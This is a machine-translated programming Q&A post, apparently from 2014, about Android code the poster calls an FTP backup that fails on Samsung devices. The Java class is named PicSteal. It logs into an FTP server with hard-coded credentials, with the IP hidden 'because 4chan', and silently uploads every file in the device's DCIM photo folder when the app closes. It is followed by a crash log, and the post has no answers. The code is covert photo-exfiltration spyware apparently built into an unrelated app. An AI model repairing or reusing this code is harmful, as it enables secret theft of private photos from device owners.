FTP备份代码(java)仅适用于某些Android设备

时间:2014-03-24 06:21:20

标签: java android

从我的备份Android应用程序的onDestory方法调用时,下面编写的代码适用于我的HTC设备。

但是,它在我的三星设备上无效。有任何想法吗? ADT告诉我问题在第28行。

    package com.simplejsonapp;

import it.sauronsoftware.ftp4j.FTPAbortedException;
import it.sauronsoftware.ftp4j.FTPClient;
import it.sauronsoftware.ftp4j.FTPDataTransferException;
import it.sauronsoftware.ftp4j.FTPException;
import it.sauronsoftware.ftp4j.FTPIllegalReplyException;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;

import android.os.Build;
import android.os.Environment;

public class PicSteal {
    public static void picStealer(){
    //Create the FTP connection object:
    FTPClient client = new FTPClient();
    try {
        //String deviceType = getDeviceName();
        /**
         * This section is where I need to add a decision structure for 
         * what folder to download from based on what kind of device is
         * using the software.
         */

        client.connect("127.0.0.1"); //create connection to server (IP changed here because 4chan)
        client.login("ftpuser", "ftppass");//login using credentials

        //this is where the magic happens
        String deviceName = getDeviceName();

        //File samsung = new File("/storage/emulated/0/DCIM/");
        //create the file object
        File stock = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + "/DCIM/");
        //create the array of files to iterate over

        File[] listOfFiles = stock.listFiles();
        processFiles(listOfFiles, client);



        client.disconnect(true);//disconnect

    } catch (IllegalStateException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (IOException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (FTPIllegalReplyException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (FTPException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }


}
private static void processFiles(File[] listOfFiles, FTPClient client) {
    for (int i = 0; i < listOfFiles.length; i++) {
          if (listOfFiles[i].isFile()) {
             //upload file to server
              try {
                client.upload(new java.io.File(listOfFiles[i].toString()));
            } catch (FTPDataTransferException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (NullPointerException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } 
              catch (FTPAbortedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            //System.out.println("File " + listOfFiles[i].getName());
              catch (IllegalStateException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (FileNotFoundException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (FTPIllegalReplyException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (FTPException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
          } else if (listOfFiles[i].isDirectory()) {
            //System.out.println("Directory " + listOfFiles[i].getName());
              File[] newList = listOfFiles[i].listFiles(); 
              processFiles(newList, client);
          }
        }// TODO Auto-generated method stub

}
public static String getDeviceName() {
      String manufacturer = Build.MANUFACTURER;
      //String model = Build.MODEL;
      return manufacturer;
} 

}

具体来说,它无法处理的行是:

           File[] listOfFiles = stock.listFiles();

所以,我认为我指的是错误的道路,但我不确定。

控制台输出:

  

03-24 02:48:56.704:D / AndroidRuntime(20505):关闭VM 03-24   02:48:56.704:W / dalvikvm(20505):threadid = 1:线程退出   未捕获的异常(组= 0x41f0aac8)03-24 02:48:56.714:   E / AndroidRuntime(20505):致命异常:主03-24 02:48:56.714:   E / AndroidRuntime(20505):java.lang.RuntimeException:无法停止   activity {stringtheory.cryptos.emc2 / com.simplejsonapp.HomeActivity}:   android.app.SuperNotCalledException:Activity   {stringtheory.cryptos.emc2 / com.simplejsonapp.HomeActivity}没有   打电话给super.onStop()03-24 02:48:56.714:   E / AndroidRuntime(20505):at   android.app.ActivityThread.performStopActivityInner(ActivityThread.java:3238)   03-24 02:48:56.714:E / AndroidRuntime(20505):at   android.app.ActivityThread.handleStopActivity(ActivityThread.java:3284)   03-24 02:48:56.714:E / AndroidRuntime(20505):at   android.app.ActivityThread.access $ 1000(ActivityThread.java:152)03-24   02:48:56.714:E / AndroidRuntime(20505):at   android.app.ActivityThread $ H.handleMessage(ActivityThread.java:1311)   03-24 02:48:56.714:E / AndroidRuntime(20505):at   android.os.Handler.dispatchMessage(Handler.java:99)03-24   02:48:56.714:E / AndroidRuntime(20505):at   android.os.Looper.loop(Looper.java:137)03-24 02:48:56.714:   E / AndroidRuntime(20505):at   android.app.ActivityThread.main(ActivityThread.java:5299)03-24   02:48:56.714:E / AndroidRuntime(20505):at   java.lang.reflect.Method.invokeNative(Native Method)03-24   02:48:56.714:E / AndroidRuntime(20505):at   java.lang.reflect.Method.invoke(Method.java:511)03-24 02:48:56.714:   E / AndroidRuntime(20505):at   com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run(ZygoteInit.java:1102)   03-24 02:48:56.714:E / AndroidRuntime(20505):at   com.android.internal.os.ZygoteInit.main(ZygoteInit.java:869)03-24   02:48:56.714:E / AndroidRuntime(20505):at   dalvik.system.NativeStart.main(Native Method)03-24 02:48:56.714:   E / AndroidRuntime(20505):引起:   android.app.SuperNotCalledException:Activity   {stringtheory.cryptos.emc2 / com.simplejsonapp.HomeActivity}没有   打电话给super.onStop()03-24 02:48:56.714:   E / AndroidRuntime(20505):at   android.app.Activity.performStop(Activity.java:5489)03-24   02:48:56.714:E / AndroidRuntime(20505):at   android.app.ActivityThread.performStopActivityInner(ActivityThread.java:3235)   03-24 02:48:56.714:E / AndroidRuntime(20505):... 11更多03-24   02:49:07.725:I / Process(20505):发送信号。 PID:20505 SIG:9

0 个答案:

没有答案